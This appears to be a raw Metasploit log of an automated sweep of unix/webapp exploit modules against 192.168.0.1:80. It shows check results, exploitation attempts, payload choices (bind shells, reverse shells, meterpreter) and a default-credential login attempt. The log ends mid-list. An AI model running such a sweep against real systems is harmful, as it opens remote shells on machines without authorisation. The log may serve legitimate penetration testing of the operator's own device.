[*] Checking unix/webapp/byob_unauth_rce against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/byob_unauth_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target does not appear to be BYOB.", reason="The target does not appear to be BYOB.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/byob_unauth_rce
[*] Checking unix/webapp/cacti_graphimage_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/cacti_graphimage_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/cakephp_cache_corruption against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/cakephp_cache_corruption against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/carberp_backdoor_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/carberp_backdoor_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/carberp_backdoor_exec
[*] Checking unix/webapp/clipbucket_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/clipbucket_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/clipbucket_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/coppermine_piceditor against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/coppermine_piceditor: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/coppermine_piceditor
[*] Checking unix/webapp/datalife_preview_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/datalife_preview_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/datalife_preview_exec
[*] Checking unix/webapp/dogfood_spell_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/dogfood_spell_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/dogfood_spell_exec
[*] Checking unix/webapp/drupal_coder_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/drupal_coder_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/drupal_coder_exec
[*] Checking unix/webapp/drupal_drupalgeddon2 against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/drupal_drupalgeddon2: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/drupal_drupalgeddon2 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/drupal_restws_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/drupal_restws_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/drupal_restws_exec
[*] Checking unix/webapp/drupal_restws_unserialize against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/drupal_restws_unserialize: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/drupal_restws_unserialize against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/egallery_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/egallery_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/egallery_upload_exec
[*] Checking unix/webapp/elfinder_php_connector_exiftran_cmd_injection against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/elfinder_php_connector_exiftran_cmd_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/elfinder_php_connector_exiftran_cmd_injection
[*] Checking unix/webapp/flashchat_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/flashchat_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/flashchat_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/foswiki_maketext against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/foswiki_maketext: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/foswiki_maketext against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/freepbx_config_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/freepbx_config_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/freepbx_config_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/generic_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/generic_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/get_simple_cms_upload_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/get_simple_cms_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/google_proxystylesheet_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/google_proxystylesheet_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/google_proxystylesheet_exec
[*] Checking unix/webapp/graphite_pickle_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/graphite_pickle_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/graphite_pickle_exec
[*] Checking unix/webapp/guestbook_ssi_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/guestbook_ssi_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/hastymail_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/hastymail_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/hastymail_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/havalite_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/havalite_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Version is not vulnerable", reason="Version is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/havalite_upload_exec
[*] Checking unix/webapp/horde_unserialize_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/horde_unserialize_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/horde_unserialize_exec
[*] Checking unix/webapp/hybridauth_install_php_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/hybridauth_install_php_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/hybridauth_install_php_exec
[*] Checking unix/webapp/instantcms_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/instantcms_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/instantcms_exec
[*] Checking unix/webapp/invision_pboard_unserialize_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/invision_pboard_unserialize_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/invision_pboard_unserialize_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/joomla_akeeba_unserialize against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/joomla_akeeba_unserialize: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/joomla_akeeba_unserialize
[*] Checking unix/webapp/joomla_comfields_sqli_rce against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/joomla_comfields_sqli_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/joomla_comfields_sqli_rce
[*] Checking unix/webapp/joomla_comjce_imgmanager against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/joomla_comjce_imgmanager: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Version is not vulnerable", reason="Version is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/joomla_comjce_imgmanager
[*] Checking unix/webapp/joomla_contenthistory_sqli_rce against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/joomla_contenthistory_sqli_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/joomla_contenthistory_sqli_rce
[*] Checking unix/webapp/joomla_media_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/joomla_media_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/joomla_media_upload_exec
[*] Checking unix/webapp/jquery_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/jquery_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/jquery_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/kimai_sqli against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/kimai_sqli: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/kimai_sqli
[*] Checking unix/webapp/libretto_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/libretto_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/libretto_upload_exec
[*] Checking unix/webapp/maarch_letterbox_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/maarch_letterbox_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/maarch_letterbox_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/mambo_cache_lite against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/mambo_cache_lite against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/mitel_awc_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/mitel_awc_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/moinmoin_twikidraw against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/moinmoin_twikidraw: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/moinmoin_twikidraw against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/mybb_backdoor against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/mybb_backdoor: #<struct Msf::Exploit::CheckCode code="detected", message="The service is running, but could not be validated. The target service was detected", reason="The target service was detected", details={}, vuln={}>
[*] Exploiting unix/webapp/mybb_backdoor against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/nagios3_history_cgi against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/nagios3_history_cgi: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/nagios3_history_cgi against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/nagios3_statuswml_ping against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/nagios3_statuswml_ping against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/nagios_graph_explorer against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting unix/webapp/nagios_graph_explorer against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/narcissus_backend_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/narcissus_backend_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/narcissus_backend_exec
[*] Checking unix/webapp/nextcloud_workflows_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/nextcloud_workflows_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/open_flash_chart_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/open_flash_chart_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/open_flash_chart_upload_exec
[*] Checking unix/webapp/openemr_sqli_privesc_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/openemr_sqli_privesc_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/openemr_sqli_privesc_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/openemr_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/openemr_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/openemr_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/openmediavault_auth_cron_rce against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/openmediavault_auth_cron_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Failed to authenticate at OpenMediaVault.", reason="Failed to authenticate at OpenMediaVault.", details={}, vuln={}>
[*] Exploiting unix/webapp/openmediavault_auth_cron_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/openmediavault_rpc_rce against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/openmediavault_rpc_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Failed to authenticate with OpenMediaVault on 192.168.0.1:80 using admin:openmediavault", reason="Failed to authenticate with OpenMediaVault on 192.168.0.1:80 using admin:openmediavault", details={}, vuln={}>
[*] Exploiting unix/webapp/openmediavault_rpc_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/opennetadmin_ping_cmd_injection against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/opennetadmin_ping_cmd_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/opennetadmin_ping_cmd_injection
[*] Checking unix/webapp/opensis_chain_exec against host 192.168.0.1:80 ...
[*] Exploiting unix/webapp/opensis_chain_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/opensis_modname_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/opensis_modname_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/openview_connectednodes_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/openview_connectednodes_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/openx_banner_edit against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/openx_banner_edit against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/oscommerce_filemanager against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/oscommerce_filemanager against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/pajax_remote_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/pajax_remote_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/php_charts_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/php_charts_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/php_charts_exec
[*] Checking unix/webapp/php_eval against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/php_eval: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/php_eval against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/php_include against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/php_include: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/php_include against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/php_vbulletin_template against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/php_vbulletin_template: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/php_vbulletin_template
[*] Checking unix/webapp/php_xmlrpc_eval against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/php_xmlrpc_eval: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/php_xmlrpc_eval
[*] Checking unix/webapp/phpbb_highlight against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/phpbb_highlight against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/phpcollab_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/phpcollab_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/phpcollab_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/phpmyadmin_config against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/phpmyadmin_config: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Could not find phpMyAdmin setup page", reason="Could not find phpMyAdmin setup page", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/phpmyadmin_config
[*] Checking unix/webapp/piwik_superuser_plugin_upload against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/piwik_superuser_plugin_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/projectpier_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/projectpier_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/projectpier_upload_exec
[*] Checking unix/webapp/projectsend_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/projectsend_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/projectsend_upload_exec
[*] Checking unix/webapp/redmine_scm_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/redmine_scm_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/seportal_sqli_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/seportal_sqli_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/seportal_sqli_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/simple_e_document_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/simple_e_document_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/simple_e_document_upload_exec
[*] Checking unix/webapp/sixapart_movabletype_storable_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/sixapart_movabletype_storable_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/sixapart_movabletype_storable_exec
[*] Checking unix/webapp/skybluecanvas_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/skybluecanvas_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/skybluecanvas_exec
[*] Checking unix/webapp/sphpblog_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/sphpblog_file_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/sphpblog_file_upload
[*] Checking unix/webapp/squash_yaml_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/squash_yaml_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/squash_yaml_exec
[*] Checking unix/webapp/sugarcrm_rest_unserialize_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/sugarcrm_rest_unserialize_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/sugarcrm_unserialize_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/sugarcrm_unserialize_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/tikiwiki_graph_formula_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/tikiwiki_graph_formula_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/tikiwiki_graph_formula_exec
[*] Checking unix/webapp/tikiwiki_jhot_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/tikiwiki_jhot_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/tikiwiki_jhot_exec
[*] Checking unix/webapp/tikiwiki_unserialize_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/tikiwiki_unserialize_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/tikiwiki_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/tikiwiki_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/tikiwiki_upload_exec
[*] Checking unix/webapp/trixbox_ce_endpoint_devicemap_rce against host 192.168.0.1:80 ...
[*] Exploiting unix/webapp/trixbox_ce_endpoint_devicemap_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/trixbox_langchoice against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/trixbox_langchoice: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/trixbox_langchoice
[*] Checking unix/webapp/twiki_history against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/twiki_history: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/twiki_history
[*] Checking unix/webapp/twiki_maketext against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/twiki_maketext: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/twiki_maketext against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/twiki_search against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/twiki_search: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/twiki_search
[*] Checking unix/webapp/vbulletin_vote_sqli_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/vbulletin_vote_sqli_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/vbulletin_vote_sqli_exec
[*] Checking unix/webapp/vicidial_agent_authenticated_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/vicidial_agent_authenticated_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/vicidial_manager_send_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/vicidial_manager_send_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
